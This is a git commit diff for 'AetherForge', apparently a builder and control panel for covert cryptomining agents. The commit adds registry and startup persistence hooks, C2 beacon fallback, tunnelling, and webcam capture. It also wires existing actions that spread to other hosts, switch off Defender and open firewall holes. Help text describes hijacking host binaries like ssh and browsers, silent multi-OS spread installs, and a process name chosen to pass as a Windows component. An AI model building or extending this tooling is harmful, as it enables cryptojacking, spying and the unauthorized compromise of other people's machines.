feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
case 'spread_now':
return caps.auto_spread || caps.remote_aggressive;
case 'start_tunnel':
case 'tunnel_cloudflared':
case 'tunnel_ssh_forward':
case 'tunnel_stop':
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':

View File

@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
run_as: 'scheduled',
host_binary_target: 'ssh',
auto_start: true,
autostart_mode: '',
registry_persistence: '',
registry_run_hkcu: false,
registry_run_hklm: false,
registry_run_once: false,
registry_explorer_run: false,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 95,

View File

@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
https_beacon_fallback: { disabled: false, badge: 'baked' },
https_beacon_after_min: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
output_dir: {
disabled: false,
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined,
},
autostart_mode: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal
? 'Boot/logon autostart hooks are Windows-only.'
: undefined,
},
registry_run_hkcu: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_once: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_hklm: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_explorer_run: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
run_as: { disabled: false, badge: 'baked' },
host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),

View File

@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
worker_name: worker,
server_url: serverUrl,
backup_server_urls: lanBackups,
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,

View File

@@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [
'uninstall',
'restart',
'screenshot',
'camera_snapshot',
'ps',
'sysinfo',
'netstat',
@@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([
'users',
'software',
'screenshot',
'camera_snapshot',
'camera_list',
'sysinfo',
'ipconfig',
'clipboard',
@@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_wireguard',
'tunnel_ssh_forward',
'tunnel_status',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
@@ -88,8 +96,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
});
});
@@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => {
const noAgg = { ...fullCaps, remote_aggressive: false };
for (const action of [
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',

View File

@@ -13,9 +13,12 @@ export function sanitizeScreenshotBase64(raw: string): string {
return fallback.length >= 100 ? fallback : '';
}
export type CaptureDownloadKind = 'screenshot' | 'camera';
export function downloadScreenshotFromBase64(
base64: string,
agentLabel: string
agentLabel: string,
kind: CaptureDownloadKind = 'screenshot'
): boolean {
const clean = sanitizeScreenshotBase64(base64);
if (clean.length < 100) return false;
@@ -26,7 +29,7 @@ export function downloadScreenshotFromBase64(
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `screenshot-${safeName}-${stamp}.jpg`;
a.download = `${kind}-${safeName}-${stamp}.jpg`;
a.rel = 'noopener';
document.body.appendChild(a);
a.click();

View File

@@ -35,6 +35,7 @@ describe('FIELD_HELP', () => {
'forge_simple_mode',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
'sign_build',
'obfuscate_default',
'sign_enabled',
@@ -64,7 +65,14 @@ describe('FIELD_HELP', () => {
'display_mode',
'process_name',
'persistence',
'autostart_mode',
'registry_persistence',
'registry_run_hkcu',
'registry_run_once',
'registry_run_hklm',
'registry_explorer_run',
'run_as',
'host_binary_target',
'silent_mode',
'auto_start',
'fusion_enabled',
@@ -77,11 +85,15 @@ describe('FIELD_HELP', () => {
'install_custom_base',
'install_relative_path',
'public_url',
'https_beacon_fallback',
'https_beacon_after_min',
'webhook_url',
'websocket_ping_seconds',
'log_pool_traffic',
'adapt_to_hardware',
'self_healing',
'firewall_exclusion',
'firewall_remote',
'open_firewall_on_start',
'file_logging',
'stealth_mode',

View File

@@ -67,6 +67,18 @@ export const FIELD_HELP: Record<string, string> = {
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
autostart_mode:
'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
registry_persistence:
'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
registry_run_hkcu:
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
registry_run_once:
'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
registry_run_hklm:
'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
registry_explorer_run:
'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
@@ -110,4 +122,10 @@ export const FIELD_HELP: Record<string, string> = {
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
https_beacon_fallback:
'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
https_beacon_after_min:
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
webhook_url:
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
};